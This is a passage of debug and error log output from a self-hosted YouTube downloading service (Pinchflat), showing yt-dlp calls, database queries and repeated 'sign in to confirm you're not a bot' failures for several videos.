/tmp/pinchflat/data/2f/7d/2f7d95a28e63b6c0a17e418ff39e17662d597d8debe7dda8289b46e5292c66c6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:32.395 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zbo4_yYMBxg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d1/72/d17217e2bdacbb4f2fa465ee0a22c03d47de8610679853b5434c967f585f1164.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] zbo4_yYMBxg: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:32.395 [error] yt-dlp download error for media item #21: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] zbo4_yYMBxg: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:32.395 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] zbo4_yYMBxg: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:32.399 [info] {"args":{"id":21},"id":219,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2000755,"event":"job:stop","attempt":1,"queue_time":19393541,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:32.401 [debug] QUERY OK source="tasks" db=1.4ms idle=1697.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:32.402 [debug] QUERY OK source="media_items" db=1.2ms idle=1698.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [22] 20:31:32.406 [info] {"args":{"id":23},"id":221,"meta":{},"system_time":1774150292406459208,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:32.407 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=570.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23] 20:31:32.408 [debug] QUERY OK source="tasks" db=1.3ms queue=0.2ms idle=7.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:32.409 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:32.411 [debug] QUERY OK source="media_items" db=2.1ms idle=7.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [22, 23] 20:31:32.413 [debug] QUERY OK source="sources" db=3.8ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:32.415 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:32.417 [debug] QUERY OK source="media_items" db=1.4ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [23] 20:31:32.419 [debug] QUERY OK source="media_metadata" db=0.2ms idle=10.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [23] 20:31:32.419 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:32.420 [debug] QUERY OK source="settings" db=0.7ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.421 [debug] QUERY OK source="settings" db=0.6ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.422 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:32.424 [debug] QUERY OK source="settings" db=0.3ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.425 [debug] QUERY OK source="settings" db=1.3ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.426 [debug] QUERY OK source="settings" db=0.5ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.426 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=76rphtG4Rl4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/b2/1db29e2d1d7025315d7157568ffa04a929ba3389438ce155c135200562b880e2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:32.513 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=m5egqYwZmjI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2f/7d/2f7d95a28e63b6c0a17e418ff39e17662d597d8debe7dda8289b46e5292c66c6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] m5egqYwZmjI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:32.513 [error] yt-dlp download error for media item #22: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] m5egqYwZmjI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:32.513 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] m5egqYwZmjI: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:32.515 [info] {"args":{"id":22},"id":220,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1840676,"event":"job:stop","attempt":1,"queue_time":19670144,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:32.517 [debug] QUERY OK source="tasks" db=0.5ms queue=0.2ms idle=94.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:32.518 [debug] QUERY OK source="media_items" db=0.7ms queue=0.3ms idle=93.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [23] 20:31:32.523 [info] {"args":{"id":24},"id":222,"meta":{},"system_time":1774150292523226026,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:32.525 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=97.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24] 20:31:32.525 [debug] QUERY OK source="tasks" db=1.4ms idle=8.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:32.527 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:32.528 [debug] QUERY OK source="media_items" db=2.8ms idle=8.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [23, 24] 20:31:32.531 [debug] QUERY OK source="sources" db=4.1ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:32.532 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=8.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:32.534 [debug] QUERY OK source="media_items" db=0.9ms queue=0.5ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 20:31:32.536 [debug] QUERY OK source="media_metadata" db=0.2ms idle=10.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [24] 20:31:32.536 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:32.537 [debug] QUERY OK source="settings" db=0.6ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.538 [debug] QUERY OK source="settings" db=0.5ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.539 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:32.540 [debug] QUERY OK source="settings" db=0.2ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.541 [debug] QUERY OK source="settings" db=0.4ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.541 [debug] QUERY OK source="settings" db=0.5ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.542 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eetwxKh2So4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c6/ef/c6ef52bf33e4d51bcce2dfdee2b38057b20b783f17462dd16895b586537c7acd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:32.768 [info] GET /media_profiles/3/edit 20:31:32.768 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 20:31:32.774 [debug] QUERY OK source="media_profiles" db=5.4ms idle=231.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 20:31:32.775 [debug] QUERY OK source="settings" db=0.7ms idle=236.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.777 [debug] QUERY OK source="settings" db=1.9ms idle=234.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.780 [debug] QUERY OK source="settings" db=2.1ms idle=236.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:32.781 [info] Sent 200 in 13ms 20:31:34.315 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=76rphtG4Rl4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/b2/1db29e2d1d7025315d7157568ffa04a929ba3389438ce155c135200562b880e2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 76rphtG4Rl4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:34.316 [error] yt-dlp download error for media item #23: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 76rphtG4Rl4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:34.316 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 76rphtG4Rl4: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:34.317 [info] {"args":{"id":23},"id":221,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1909899,"event":"job:stop","attempt":1,"queue_time":21405124,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:34.318 [debug] QUERY OK source="tasks" db=0.7ms idle=1540.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:34.320 [debug] QUERY OK source="media_items" db=0.8ms queue=0.7ms idle=1538.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [24] 20:31:34.325 [info] {"args":{"id":25},"id":223,"meta":{},"system_time":1774150294324605069,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:34.327 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=483.5ms 